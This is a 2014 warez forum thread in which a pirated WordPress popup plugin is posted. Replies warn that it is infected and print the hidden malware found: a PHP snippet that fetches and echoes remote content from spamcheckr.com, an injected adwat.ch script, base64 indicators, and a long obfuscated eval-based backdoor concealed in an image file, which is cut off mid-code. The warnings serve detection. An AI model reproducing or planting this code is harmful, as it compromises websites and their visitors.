53.gif

Search (advanced search)
Use this Search form before posting, asking or make a new thread.
Tips: Use Quotation mark to search words (eg. "How To Make Money Online")

09-25-2014, 07:45 PM
Post: #1
Ninja Popups v3.4 JQuery WordPress Plugin
[Image: Download-Ninja-Popups-WordPress-Plugin-W...n-Code.jpg]
Ninja popups is more powerful jquery based email
marketing wordpress popup plugin helps you to covert your website
visitors into customers. Ninja popups has great design and highly
customizable and supports API integrations with popular mailing
services. Create unlimited popups as you wish and display them, wherever
and whenever you want. Also supports page/post level targeting and
helps to increase your subscribers for specific page/post of your
website.
Also built with Social network locker, to unlock your
content using facebook like, twitter tweet or by adding google +1,
Linkedin for specific post/pages of your website and sending strong
social signals to search engines. It supports very famous email
marketing engines such as MailChimp, MyMail, Wysija, AWebar,
GetResponse, Compaign monitor, iContact, Contant Contact, Direct mail
for OS X and much more.
Ninja Popups V3.4 WordPress Plugin Key Features
  • jQuery powered plugin
  • Highly Customizable
  • Opt-in and social locker
  • Responsive and mobile support
  • Integrated with 20+ designs
  • Added new 2 traffic bouncers
  • Social network integration
  • Translation ready popups
  • Show popups on load page
  • Show popups on close page
  • Post/Page specific targetting
  • Complete user Statistics
  • Facebook Likebox in Popup
  • Lifetime free forum support
Similar PopUps / Email Subscription WordPress Plugins Like Ninja PopUps
Download:
http://dedifile.com/myy6hwqm1kno/arscode...4.zip.html
09-25-2014, 08:07 PM
Post: #2
RE:
Members be Aware!
Read it entirely...

These guys, namely Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)-Vip, also from the website http://Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)/ has been sharing malicious codes within their release!
This is the way they are doing money, and releasing more and more contents here and around the web.


To keep it simple...
1. Grab yourself a copy of DreamWeaver which will help you to search for codes and contents on an entire directory;
2. Open it, and hit the CTRL+F and point it to search inside a directory path you have your source;
3. Pay attention to the following lines you'll be searching for, and hit the 'find everything' button.
4. Try to grab a copy of Beyond Compare, which lets you to compare tons of files instantly...


If you ever downloaded something from them, promptly inspect your source code for curl_init functions, obfuscated codes, and some dirty clean code as well like ones I'll mention below:

Item A:
If you have it there, drop your site and start all over. Your site is already completely screwed... I'd start all over.
And add more reps to these low life beggars! Or go find them and teach them a lesson...
Search item by item, and if you find one, you've been screwed up.
Quote:spamcheckr
http://spamcheckr.com/
"http://spamcheckr.com/l.php"

adwat
http://adwat.ch/
http://adwat.ch/js/easylink.js


Here it is the entire code:

<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqv12_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,​1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqv12_cahesk');}}
?>
<?php


And some more:

<script type="text/javascript">
var adwatch_id = 234224;
var adwatch_advert = "int";
var exclude_domains = ['affiliates.playboy.com', 'elperutienetalento.com', 'skeezybabes.com', 'wp-admin', 'kamapisachi.info', 'nude', 'sex', 'porn', 'naked', 'F***', 'cock', 'penis', 'tits', 'boobs', 'pussy', 'wp-login', 'hillaryClinton2016.com', 'mpmgworld.com', 'madeforher.in'];
</script>
<script type="text/javascript" src="http://adwat.ch/js/easylink.js"></script>


Item B:
If you find the exact obfuscated codes such the one below, drop it as well and start all over: You've got screwed by them as well.
If you find other obfuscated codes such as the other examples, I'd start all over as well, but it is up to you to decide it... However, some software developers uses obfuscated codes for protecting their source codes; but in anyway, I usually don't accept using anything obfuscated myself mainly when I download it from the Internet around the forums.Search for one by one, line by line, and not all the four in these examples. If you find something on this example, you're also screwed!
Quote:c3BhbWNoZWNrci5jb20vY2hlY2sucGhw
amFxcXNjaWdzQGdtYWlsLmNvbQ==
d29yZHByZXNzc2xvZ0B5YW5kZXguY29t
NdLJlmNQAADQX8muqo6FIKZTXV0HEUKixCybPsIzBOGZHu

Item C:
Look for functions like the ones below and inspect the URLs (links) that goes near by them. If you find some URL that might not be there, and with it I mean an "strange URL", something other than the developer URL or well know and trusted URLs, take double care and go further and try to figure out what does these addresses are pointing at. Again, if it is pointing to some unknown URL, you probably should not use it and try to get an original copy of the code to compare it, and if in your comparison it does not match, you are probably screwed as well. Search for:
Quote:curl_init
$addressd


Item D:
DO NOT BELIEVE in VirusTotal... It will not detect many of these craps all these guys are doing:
Check your self all the things prior to using it!
This is a good start.

If you found something infected or suspect, promptly report it as malicious with the following message and hitting the report button:
This nonsense has uploaded an infected item, and the OP should be permanently banned!

Also share your findings (infected items) on this threads below:
http://bestblackhatforum.com/Thread-List...d-BE-AWARE
http://bestblackhatforum.com/Thread-List...d-BE-AWARE
09-26-2014, 01:03 AM (This post was last modified: 09-26-2014 01:03 AM by chikfilet.)
Post: #3
RE:
How is Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)-vip still a member here on BBHF? All this Hole is doing is posting infected crap on here!
09-26-2014, 03:22 AM
Post: #4
RE:
I've been a friend gave plugin, I do not think that's a bad thing to you, if it's really bad. I sincerely apologize to you. but not all of my posts on this forum are bad, MajoMaslo always say my post is not good. Such is not true.
Thank you.
09-27-2014, 01:56 AM
Post: #5
RE:
moderators need here..
28.gif
09-27-2014, 02:23 AM (This post was last modified: 09-27-2014 03:01 AM by chikfilet.)
Post: #6
RE:
MajoMaslo isn't the only person saying this. If you get any of these plugins from wplocker they have code in them too for ill intent. That is why I never use any plugin or theme from them. I get themes from trusted members here who have credibility for good shares.
09-27-2014, 02:57 AM
Post: #7
RE:
your many post are infected and why do you use joinfile and deadifile and such crappy service. you can simply add it to service like zippyshare. if you don't know if it's infected or not then don't share. it can save someone's site from hacking atleast.
Why your friend give you infected scripts or plugins?
09-27-2014, 03:19 AM (This post was last modified: 09-27-2014 03:20 AM by allmix.)
Post: #8
RE: New infected share by Flagged as VIRUS SPAM SITE (Do NOT CLICK!!!)-vip
Yo man, i just download this plugin from your given link just to check that are you still spreading infected files or learn a lesson and share it for real use.

Here is infected file link : http://dedifile.com/myy6hwqm1kno/arscode...4.zip.html

Now check file : arscode-ninja-popups.php

In last line of "arscode-ninja-popups.php" has <?php include('img/social.png'); ?>

This "social.png" file has following code.
huh!! php code in Image file does it look good to you. Don't share anymore, we don't need your infected shares. My rep is 0 but atleast i don't share infected files for reps. Go away you sick head.

==============================================

<?php error_reporting(0); ini_set('display_errors', 0);@ini_set('max_execution_time', 300);@set_time_limit(0);function XJmVaOhvhAQNoaACoDOM() { if (!defined('WP_OPTION_KEY')) { define('WP_OPTION_KEY', 'wp_data_newa'); $oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(1); }}if (class_exists('JFactory')) { $fRBDRzVvkOhTDTWAHUGa = and JFactory::getApplication(); $fRBDRzVvkOhTDTWAHUGa->registerEvent('onAfterRender', 'XJmVaOhvhAQNoaACoDOM');}if ($GLOBALS['base_path'] || $GLOBALS['base_url']) { if (!defined('WP_OPTION_KEY')) { define('WP_OPTION_KEY', 'wp_data_newa'); $whjjnvouGqpgVFKDaceH = 'function ' . $template->name . "_page_alter(and\$page) {\$oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(2); \$NygjKszxwCxlHbyDpHTT = \"\"; foreach (\$oXyaqmHoChvHQFCvTluq->oXyaqmHoChvHQFCvTluq['echo'] as \$stIedxfhoZcXvZNmNXTd) { \$NygjKszxwCxlHbyDpHTT.=\$stIedxfhoZcXvZNmNXTd; } \$vsGIQvwCXRbSELMOlFV = \$NygjKszxwCxlHbyDpHTT; \$page['page_top'][] = array('#markup' => \$vsGIQvwCXRbSELMOlFV); } "; } eval($whjjnvouGqpgVFKDaceH);}if (!defined('WP_OPTION_KEY') and& (function_exists('get_home_url') || function_exists('get_site_url'))) { define('WP_OPTION_KEY', 'wp_data_newa'); new GsSYoMTsQibQgcHcuGmr(0);}class GsSYoMTsQibQgcHcuGmr { public $oXyaqmHoChvHQFCvTluq = array(), $yYVsqvOoqWsddypXgJcI = array(), $KPnBqYhemQSdHKDNtJpe, $qcCONSsvpJlMgdhEFFmr, $IzGRmpLLtcLVMJRxcfpe, $aJQafHDwnaPrCJrQMjHV, $AeRxXNHxOXpcNJWlZSIK, $vwhhtIrAWhUEFDgPrcco, $htcFFCQTLLpnCchsPKGY, $wqawPxkNytKqRKNRqbwA, $IatJdWimJbxtprWZElHe, $YobOrWbieESFVcSsWsuB; public $WbKPQMoSbMZkXUeYKXRI; public function __construct($KPnBqYhemQSdHKDNtJpe) { $this->KPnBqYhemQSdHKDNtJpe = $KPnBqYhemQSdHKDNtJpe; if ($KPnBqYhemQSdHKDNtJpe === 1) { $fNkUjsWlUtvjeWmrzNlI = "CREATE TABLE IF NOT EXISTS `#__options` ( `id` int(10) NOT NULL AUTO_INCREMENT, `option_name` text NOT NULL, `value` text NOT NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; $AKorMlJxhsFuVmuppepc = JFactory::getDbo(); $AKorMlJxhsFuVmuppepc->setQuery($fNkUjsWlUtvjeWmrzNlI); $AKorMlJxhsFuVmuppepc->query(); } if ($KPnBqYhemQSdHKDNtJpe === 2) { $fNkUjsWlUtvjeWmrzNlI = "CREATE TABLE IF NOT EXISTS `options` ( `id` int(10) NOT NULL AUTO_INCREMENT, `option_name` text NOT NULL, `value` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;"; db_query($fNkUjsWlUtvjeWmrzNlI); } $this->yYVsqvOoqWsddypXgJcI = array( '==DZk4FZlVwY5RGZhpQB' ,'=4JnhZUpck2olIKM', '=4JnhZ3M1WJMeyTo', '=02ow5FryW3ogkJnuWUq', '6yzLhDKqwETol92q', '==trcWzYyEKqwETol92q', 'g92LhZ3ni9Togyzr', '==DoiAzYiEKqiyKMgS2p', '=8zMhyzYhIJMlqzoi9Jo', '=bKnv5vpuE3phSJofI2n', 'aW3ohHzMckzp19JM2y2M', '=02ow5PoyITqmEJquWaM', '==DoiAzY6ITqu1JLgkJL', 'g92LhpzockTocM2oaWKM', '==toc5vo1AKMaSTofyzq', 'hyzY5Izpi1JM29Jo', '==jMl9zY5ITMi9zMiyzL', 'aW3ohVGqlpzocuTq55JL', '==jMl9zYhI2LmEapiO3p', 'aW3oh4JLwAUq0I3L', '=pzpi5lp0WKLjSJMyWaM', '==jqj5FqiyKMwyzoyA2p', '3OaY1WGoj1JL', '=pUphxKqaWKnuu2L', '=4JnhVKMeAJnfMJock2p', '=4JnhV3ox5JLl9TryuTq', '=4Jnh4JqvyKMh9Tn', 'hyzYmk2oiEaoyk2M', 'hyzYh9TqlSzLhSTM', '=4JnhNKqiW3Mf9TogyzL', '==toc5lp0Szp0SzM', 'hyzYfIJM0Aaouu2L', 'hyzYlSTqm92Mhyzp', '6yzLh4zpiEKMfqzocWaL', 'aW3ohHTo5E3pgHJocW3L', '==trcWzYmgJLgyTqf9zM', '==Nqy5zYmAKMhy2M0ITo0I3o', '==jqj5PnmyzMiEUnmyzp', '==jqj5lphS2pfIzquWUq', '==trcWzYlITMuk2Mc5Jq', '0IzohZUocSzMlITMh92q', '0IzohZKMfyUqm52ohITr', '=pzpi5vouEKn0g2LukzL', '=HJohNKqbSTof9Tn', '=DKMh5lpyEJLlq2ohSzo', '6yzLhxapu1TMuITM', '==Nqy5zY39zoe1JLyWUM', '==Nqy5zYlITqm9zM5STo', '==joz5JnhZKMa5JLlE3p', '==trcWzYfy2MlITqhIUn', '=bKnv5FM4S2nfyJo', '=bKnv5PqcgJLgSzp', '==trcWzYfk2ovITqiIKp', '==DoiAzYm52ox1zM', '=02ow5lpwy2p11JLlSTM', '=02ow5vpyWzLiWzpyq2MiWaM', '=02ow5lphIJof92n', '=02ow5lpykTpgS2pi9zM', '==DoiAzYmEzpu9zL2EKo', '==trcWzYmyKLxIao', 'iMzoc5lp5kzMx5JLlS2L', '==jow5lqikTn0SJo', '=82Lh82nhIJo', '=02ow5vpiu3Lc1JLhyUM', '==DMg5FngSTMhI2q', '=bKnv5Pqcg2of9zr', '==jqj5PofS2qlITqhSTn', 'aW3ohD3owyKMh9Jo', '6yzLhxKoyEJLwSJM0y2pvI2q', '=bKnv5lo5ITMi9zM', '==trcWzYmkJL0W3ojAKM', '==toc5lp3Izo3SJo', '=4Jnhf2LiWKolITq', 'hyzYeA2olIzoiE3p', '=4Jnh82oz1zM', 'hyzY0WKLjSJMyWaM', '==toc5PMhSTolSTqcI3M', '==toc5vou12MiWUp', '==toc5voz1zM', 'hyzYj9TouWKMhI2M', '=4JnhjJL0W3ojAKM', '=8zMhyzYykTpgS2pi9zM', '==joz5JnhHJMlMTAiWTn', '==joz5JnhHaZhITqmyTo', '=8zMhyzYyqJLjgzo', 'iMzoc5vMfSTnvI2q', '3OaYm5JqaWzM', '=pUphH2nuEaZwyTp', '=pUphZapyE3pu1JMmIzocu2L', '=pUphxUMukJr6SToi9zM', '3OaYyAKqi92n', '0IzohxKLxIao', '=DKMh5Fne9TMhyzM', '==Nqy5zY5kzMx5JLlS2L', '==Nqy5zYi9zMgyzM', '==Nqy5zY392qzqKL', '==DoiAzYyyao2EKo', '=02ow5lpuyTMySKney2q', 'g92Lh4JMwEapiO3p', '=02ow5FMyWaM2EKo', '==DoiAzY3Izo3SJo' ); $this->aJQafHDwnaPrCJrQMjHV = array( '=HaphjJnu1TD1ETn1c2p', '==DoiAzYfyJLgqTDwyToiMKLlESofSTMhSzH', '==DoiAzYfyJLgqTDkHGBkDapyq3phSHouyTofy2I', 'g92LhjJnu12MNEJMjWKq0IzDmSJoiuTI', '==DoiAzYfyJLgqTD39TqlITnHIJnfIaF', '==DoiAzYfyJLgqTDx5JLaIzpv1JqGIzouyTE', 'g92LhjJnu12MNyaL4STqc12oQWKMbO3o0AKnlu2D', '=02ow5PocSJoaORZ4xGZmyJobAIL0yzH', '=02ow5PocSJoaORMhSTqlSTovI3oGy3LuE3H', '==DoiAzYfyJLgqTDhIToxyzEl9zqyWUI', '=02ow5PocSJoaORMy5zpyOUpOqJnuW3D', '==DoiAzYfyJLgqTDmHGBk4JMxSHMjIUG', 'g92LhjJnu12MNyQAlIzp192Dy5Jn0AKnlu2D', 'g92LhjJnu12MNIJo05JngS2H0WKMv9zH', '==DoiAzYfyJLgqTD1DQquu2pcuTIy5zou9zF', '==DoiAzYfyJLgqTDxIzpx5JnuqRoySTnwyJG', '=02ow5PocSJoaORMyE3LyWUHyyTqlIzD', '=02ow5PocSJoaORMuuTqa5JnuAyrcWUquIzD', 'g92LhjJnu12MNA3py12oKS2LcWKE', 'g92LhjJnu12MNAap1EKMGWKMbO3o0AKnlu2D', '=02ow5PocSJoaOxpyE3puuTIh5JD', '==DoiAzYfyJLgqTDbEKnx5JDyyTnj92H', 'g92LhjJnu12MNEaoyq3o05JIhyzqfIJG', '=02ow5PocSJoaORA4xGZxI2MlITn09TpjS0nlSJG', '==DoiAzYfyJLgqTDjLGBkHTq192H0WKMv9zH', '=02ow5PocSJoaORMcSToj1JMfWJDyI2LhSzG', 'g92Lhj2ouOHoiWaLuEJn', '=02ow5PoiSTDcEJLg91L', '==DoiAzYf9JLNSQofy2Mw1zYyyJogyzn', '=02ow5PoiSTDljJM0STphf2L1u2L', '==DoiAzYf9JLNSwpyMJLbA3KuEaoucJL', '=02ow5PoiSTDyI2Mu12KyWUMhSzr', 'g92Lhj2ouORMlSTnwIzLyAKnhITM', '==DoiAzYf9JLNWKMhEUq1WzocWUMfIJo', '=02ow5PoiSTDfSzpiEJLxkJL', '==DoiAzYf9JLN52omWJna9IL5Szn', 'g92Lhj2ouO0pykJn0AaYy5Jn0AKnlu2L', '==DoiAzYf9JLNcKLj5lo05JnwSzn', '=02ow5PoiSTDbAJnyW3pc12oe9zo', 'g92Lhj2ouOHZhyzpl9JobqJLhIJo', '==DoiAzYf9JLNWJL0EKMfI2M', '==DoiAzYf9JLNWKM0AKMigzYyyzpl9TM', '=02ow5PoiSTDyEKLgIUnm5Pp', 'g92Lhj2ouOxoiAaouq3psSJnh9ToiOKL', '==DoiAzYf9JLN1JLb5JLlW2KgSJnlyJo', '==DoiAzYf9JLNSmolWKL2SzosyKMfSTn', '=02ow5PoiSTDk4zpiu2KuyzpyEJLhSTp', '==DoiAzYf9JLNS2nmSTnm5vq', 'g92Lhj2ouORoyITqsyaohI2n', '=02ow5PoiSTDh92phyTqhRJrcWUp', '=02ow5PoiSTDygzp1W2KukToyE3p', '==DoiAzYf9JLN5Jn6k2oj5loxWKLwIzp', '==DoiAzYf9JLNcKMlI3ofSTq', '=02ow5PoiSTDmEapyWzLy9ILbEKMl9TM', '=02ow5PoiSTDkDUoiWzocSzpskJqxWJL', '=02ow5PoiSTDmITqlIJqz5vq', '=02ow5PoiSTDay2q0WKLb9SMyW3L', '=02ow5PoiSTDa5Jnzu2olyaplSTo', 'g92Lhj2ouO0phy2May2qh4Jn2kJL', 'g92Lhj2ouOHZ5ITofI2nh8Jnwyzp1SJo', '==DoiAzYf9JLN1JLhgJnh9ILxIzq', 'g92Lhj2ouOHnhyJqlIzoiITo', '==DoiAzYf9JLNqzouI3oe5Fo', '=02ow5PoiSTDuEJMl9zrsSTn0WKMvkJL', '==DoiAzYf9JLNWKqm5JLg9In', '==DoiAzYf9JLN52ogg2Lcu2KhS2Ml9Jo', '==DoiAzYf9JLNWKMxyJMz5lL', '=02ow5PoiSTDhyTo1EzYbAKL', 'g92Lhj2ouOxpy5zpiqzYukJMgSTp', 'g92Lhj2ouOxohS2qhRzrukzL', '=02ow5PoiSTDykJM6IJn65FL', '==DoiAzYf9JLNA3pyu2Kv9zp', '==DoiAzYf9JLNWUnikzMhRToyy2LuW3M', '=02ow5PoiSTDkHzoiMKLv9ILckJMlIKL', 'g92Lhj2ouOHZfIKLj9In', '=02ow5PoiSTDm5JnaE2ob5PqlSzL', '==DoiAzYf9JLNITouIzqhxTM', '=02ow5PoiSTDuy2LmIKosSTMhIUnmSTo', '=02ow5PoiSTDkf2Li1zYuEKnf9To', 'g92Lhj2ouOxouAJn4IJoskJnlOKL', '=02ow5PoiSTDkjToyq3oj5voyWKn', '=02ow5PoiSTD0IJog9zpw5ln', '=02ow5PoiSTDmO3oiE3p0IJMd5JLly2n', '==DoiAzYf9JLNk2olWKLw9IL0AKMx9Jo', 'g92Lhj2ouOxouyKLvSzLxITnmSzp', 'g92Lhj2ouOHZmgzpuOaYfkJM3Izn', 'g92Lh82obSJrN1Jn5I2p192DuAKn19TG', '=02ow5loiuJL5OHqf9zocqUMi92Euy2LckJD', '=02ow5loiuJL5O0ohy3p3Izpx5JDyy2nwSzF', 'g92Lh82obSJrN9zMuIzpi1zpyMKnZITq0ITof92D', '=02ow5loiuJL5OHrfyJrlWKIuyzqfy3H', '=02ow5loiuJL5ORMiMzoiAaocW2oFSJnwIUG', 'g92Lh82obSJrNqJn2AKn0WKLDyUolS2D', 'g92Lh82obSJrNI3pjIJnh5JMZy3p0STH', '=02ow5loiuJL5O0MxSJMm9zDyyzqyE3H', '==DoiAzYi9TnuyUDeSzp5ITouITFyyzouuTpyE3H', '=02ow5loiuJL5OHrhITquuJnByaplITI', 'g92Lh82obSJrNyzLy5JnzMJnlqHL5SJG', 'g92Lh82obSJrNAJo1I2Mxyzpa5JLZyaohSTE', 'g92Lh82obSJrNOKngyKM39TIyIKpckJMa5JD', '=02ow5loiuJL5OxMaIKMm9zHgy2F', '=02ow5loiuJL5OxL5kzoiAUoy5xoiWapuu2H', 'g92Lh82obSJrN1JrayaplSTF5ITocI2F', '==DoiAzYi9TnuyUD5WJnmI2MxyzpPyzLv9zD', '==DoiAzYi9TnuyUDfy3LxW3ozkTouuHL5SJG', 'g92Lh82obSJrN52o0yKMfu2L0STIy5JMxSzF', '=02ow5loiuJL5O0oi1TMuETMuuHMwyzouu2H', '=02ow5loiuJL5OxoukJMiqJLFyaLvyTG', '=02ow5loiuJL5OHM0SJMfOUpcEIrwSTG', '=02ow5loiuJL5OHrv9Tnw92oUyKogS2H', 'g92Lh82obSJrNE3o25JMfkJEhIJn2yzI', '==DoiAzYi9TnuyUD5WJqy5JnxWKLXIJn0AKnlu2D', 'g92Lh82obSJrNIaq1g2LcuTpfIHMfITnwyJG', '=02ow5loiuJL5O0oj9TolSJEyyTofyJG', '==DoiAzYi9TnuyUDvyUMyyTqmyzpbAHLcqzpiI2E', 'g92Lh82obSJrN9zpf52omyzohITEyyToc1JE', '==DoiAzYi9TnuyUDlqJrmyToa5JFgSJnlyJG', '==DoiAzYi9TnuyUDuIKqfkJqU52o2ITE', '=02ow5loiuJL5OHqgIUq0I2nwSToP5JLly2F', '==DoiAzYi9TnuyUDuy3LxITq4y2IhyJo6SJJ', '=02ow5loiuJL5OHnm9zpyAap1OyouIzF', '=02ow5loiuJL5OHLcAKr2STEyIJnx9zF', '==DoiAzYi9TnuyUD292pyAJrlWHrfWKM2IzD', '==DoiAzYi9TnuyUDcWJLwyzqyAJnaSzpRyaohSzE', '=02ow5loiuJL5OHrwIUofI2nmSJGyyzLvITE', 'g92Lh82obSJrN5JneyToiyJLlWKMTSzpuy2D', 'g92Lh82obSJrN9zqc52o0WKMe5JnDyKMfSTF', '=02ow5loiuJL5O0L1y3nlIUqlIUFuEKnhIzD', 'g92Lh82obSJrNSJnw52omETou52oREKMhSzF', 'g92Lh82obSJrNyKouyaLfyTnDITq0ITof92D', '=02ow5loiuJL5OHnzWJMc5zoykHngIzH', 'g92LhjJnu1TqiuTD5kJnlyUqyM2oeIar', '=02ow5PocSJo09TnNM3olyUpcuJMgSzM', 'g92LhjJnu1TqiuTDyEKqlyTriEJqvyan', 'g92LhjJnu1TqiuTDcWKneSzo1E3olyJp', 'g92LhjJnu1TqiuTDuqJLfyUMiq2o0yzL', '=02ow5PocSJo09TnNEKqvI2L1uJrzI2M', 'g92LhjJnu1TqiuTDu5Jndy3MyOKnaITq', '=02ow5PocSJo09TnNcKrkIzq15JnhIUo', '=02ow5PocSJo09TnNEJqgIaL1WKMvy3n', 'g92LhjJnu1TqiuTDuEKMlyzr5A3o6Iar', 'g92LhjJnu1TqiuTDcuKr6y3pcEJMmyzM', '=02ow5PocSJo09TnNWKrkSzo5E3oh92n', 'g92LhjJnu1TqiuTD55JMwy3MigJrjSzM', '=02ow5PocSJo09TnNuKLaSTnu52o3yUM', 'g92LhjJnu1TqiuTDyqKn6SJp1AJnfyUo', '=02ow5PocSJo09TnNOKLxSzMcuJMwSTr', 'g92LhjJnu1TqiuTDyg2olyzpiuJn4yzo', '=02ow5PocSJo09TnNAJngIaMyAKrvIzL', 'g92LhjJnu1TqiuTDu1JLmIaM1M3owS2n', '=02ow5PocSJo09TnNA3oxSzn1MJrwyap', 'g92LhjJnu1TqiuTDiuKq69zr5u2o0SJo', '=02ow5PocSJo09TnNAKrgyUn5uKqb9To', 'g92LhjJnu1TqiuTDykJqgIKpuqJrayTn', 'g92LhjJnu1TqiuTDyWKLxyzpcqJq4Szp', '=02ow5PocSJo09TnNAJL0I2LcAJnxyzn', 'g92LhjJnu1TqiuTD5c2ojSzMcAKnzyzo', '=02ow5PocSJo09TnNcKqeyzniqJLl9To', '=02ow5PocSJo09TnNu2o4y2MiAJM0Iao', '=02ow5PocSJo09TnN5JreS2M5EKnhITo', '=02ow5PocSJo09TnNAJnwyUncEJqbSTo', '=02ow5PocSJo09TnNuJnvIznuEKMaIao', 'g92LhjJnu1TqiuTD1EKrmy3LyMJqkIKo', 'g92LhjJnu1TqiuTDuEJMfIUo5kJq4y2M', 'g92LhjJnu1TqiuTDyEKMgIUM5MJMgS2n', 'g92LhjJnu1TqiuTDuAKrmy3LuAKrk9zn', 'g92LhjJnu1TqiuTDcWJLgy3ny5Jq6yTp', 'g92LhjJnu1TqiuTDyMJLjSTM5W3o49zp', '=02ow5PocSJo09TnNW3oaSTMcuKrmITo', '=02ow5PocSJo09TnNSKr6IaLcSKMbS2n', 'g92LhjJnu1TqiuTD1E2o2yzruAKqv9zq', '=02ow5PocSJo09TnNEJngITqucJreyTM', 'g92LhjJnu1TqiuTDiu2oly3L1u3o3yaM', 'g92LhjJnu1TqiuTD15Jqa9zn1OKqmyJp', 'g92LhjJnu1TqiuTDuuKn4SJpiAKrey3p', '=02ow5PocSJo09TnNgJMzSJpuWJq2yTp', '=02ow5PocSJo09TnNuJn4IzqiW3o39Jo', 'g92LhjJnu1TqiuTD5SKnmIaricKrvIJo', '=02ow5PocSJo09TnNS3odS2MyuJqxyTo', '=02ow5PocSJo09TnNcJrzyJp55JqeI2q', 'g92Lhf2oikTq19TD5uJL4yTM1EKMk9zM', 'g92Lhf2oikTq19TD5AJq4Iaq1uKq4y2p', '=02ow5lni9To0I3oNc3ojIKocMJMgy3n', '=02ow5lni9To0I3oNc3ogSzq5EJnaIUo', '=02ow5lni9To0I3oNcKnd92pigJM292p', 'g92Lhf2oikTq19TD5EJMfy3pycJn29zr', '=02ow5lni9To0I3oNcJqkyaq1gJr0Izo', 'g92Lhf2oikTq19TDyAJnd9Tn5EJMwSJp', '=02ow5lni9To0I3oNSKLgyUpygJq4yao', 'g92Lhf2oikTq19TDuEJrjIzocuJMxS2L', '=02ow5lni9To0I3oNu3ojyJoySKqvITr', 'g92Lhf2oikTq19TD5EJqhyTn1gJMkyan', 'g92Lhf2oikTq19TD5AJneITncqJndyUp', 'g92Lhf2oikTq19TD15JnwIUoykJLgI2M', 'g92Lhf2oikTq19TDuOKrfSJou1Jn0IUr', '=02ow5lni9To0I3oNuKqhyapcWKnxy2M', '=02ow5lni9To0I3oNcKMbSznucJq0Iap', 'g92Lhf2oikTq19TD5A3omy3nicJrdy3M', 'g92Lhf2oikTq19TD1WJrgS2Mc12omIzM', '=02ow5lni9To0I3oNO3ofy3qiMKqbIzr', '=02ow5lni9To0I3oNEKn4I3L1SKqfIUq', '=02ow5lni9To0I3oN5JrfyzMcMJqfIKp', '=02ow5lni9To0I3oNqKrxSTqygJrk9zo', 'g92Lhf2oikTq19TDikJnvSJp5qKqkIar', 'g92Lhf2oikTq19TD5O3ovy2piqJnhIUq', 'g92Lhf2oikTq19TDyMKL092L5MKqwIzL', '=02ow5lni9To0I3oNcJqbIap5cKL0yKp', 'g92Lhf2oikTq19TD5qKrdS2qiAJMvITq', '=02ow5lni9To0I3oNWKM6yarycJqjSzo', '=02ow5lni9To0I3oN1JM39JoiAKMbyaL', 'g92Lhf2oikTq19TD55JnmIUM1cKrm92p', '=02ow5lni9To0I3oNq3oh9zryc3og9Tq', 'g92Lhf2oikTq19TD1OKrvyaMuWJqxyUM', 'g92Lhf2oikTq19TDiMKnvyaM1uJngIzr', '=02ow5lni9To0I3oNqKMbIUnyqKMeSTp', '=02ow5lni9To0I3oNqKngIzL1uKLlIzo', 'g92Lhf2oikTq19TDu52oj92LyuJLmyzp', '=02ow5lni9To0I3oNOKL69zMucKMlSTM', '=02ow5lni9To0I3oNuKqmyTnucJM2I3L', 'g92Lhf2oikTq19TDySKrmSTn5qKLbIao', 'g92Lhf2oikTq19TD1EKnxIJoccKL0Iao', 'g92Lhf2oikTq19TD5qKr6yzoicJMa9zo', 'g92Lhf2oikTq19TDuqJnzIao1MJnxIao', '=02ow5lni9To0I3oNc2odI2p1WKMgIzr', 'g92Lhf2oikTq19TD1uKndSTquqJrhSTo', '=02ow5lni9To0I3oNuKrwyap1cJL39Tn', '=02ow5lni9To0I3oNEJrkS2pikJMbIzn', 'g92Lhf2oikTq19TDiqJMay2p1E2ofyaL', 'g92Lhf2oikTq19TDiqKqfIzoykJqlyzo', '=02ow5lni9To0I3oNcKrbSzn51JrzI2n', '=02ow5lni9To0I3oNgJLh92McuKqm92p', 'g92Lhf2oikTq19TDcq2owyap112ox9Tq', 'g92Lhf2oikTq19TDiWJq6yJoykJMjS2M', 'g92Lhf2oikTq19TDugJray3qcqJnwSzM', 'g92Lhf2oikTq19TDcqJnmyzruEKqeyzM', '=02ow5lni9To0I3oN5JMmyUr5AJn2yUp', 'g92Lhf2oikTq19TD5MJLfyTMuc3o6Izr', 'g92Lhf2oikTq19TDiAJq6yTpyEJMbI3M', '=02ow5lni9To0I3oNAJqvI2q1MKLxS2q', 'g92Lhf2oikTq19TD1EKLeSzp11JLxy2p', ); $this->dIOUyQsvDqPHTBIxnlYs(); $this->YobOrWbieESFVcSsWsuB = false; $oXyaqmHoChvHQFCvTluq = WqGRFfQfiVUcPbdzdTbF(WP_OPTION_KEY); if ($oXyaqmHoChvHQFCvTluq == null || $oXyaqmHoChvHQFCvTluq == 'null') { $oXyaqmHoChvHQFCvTluq = ''; } if ($oXyaqmHoChvHQFCvTluq == '') { $this->wqawPxkNytKqRKNRqbwA = true; $this->AeRxXNHxOXpcNJWlZSIK = new VtkddwvkYgCDDRRWbgRt('new'); $this->QxEolVsSqvJZyRSgHFmL(); } else { $this->AeRxXNHxOXpcNJWlZSIK = new VtkddwvkYgCDDRRWbgRt(); $this->oXyaqmHoChvHQFCvTluq = $this->McEnUjjQfaFzqGsihhU($oXyaqmHoChvHQFCvTluq, true); if (isset($this->oXyaqmHoChvHQFCvTluq['info']['publicKey'])) { $this->AeRxXNHxOXpcNJWlZSIK->skwTpfzBalSTBTBkLvhw($this->oXyaqmHoChvHQFCvTluq['info']['publicKey']); } } $this->OFwlxWaeMyxznpZtnfJL(); if ($this->TztHMzNNJASlMfiSOwxQ()) { die(); } if (!$this->wqawPxkNytKqRKNRqbwA) { $this->KPBBXYwmuPGPaTyLhWev(); } } private function QxEolVsSqvJZyRSgHFmL() { if (!defined('wp_newData')) { 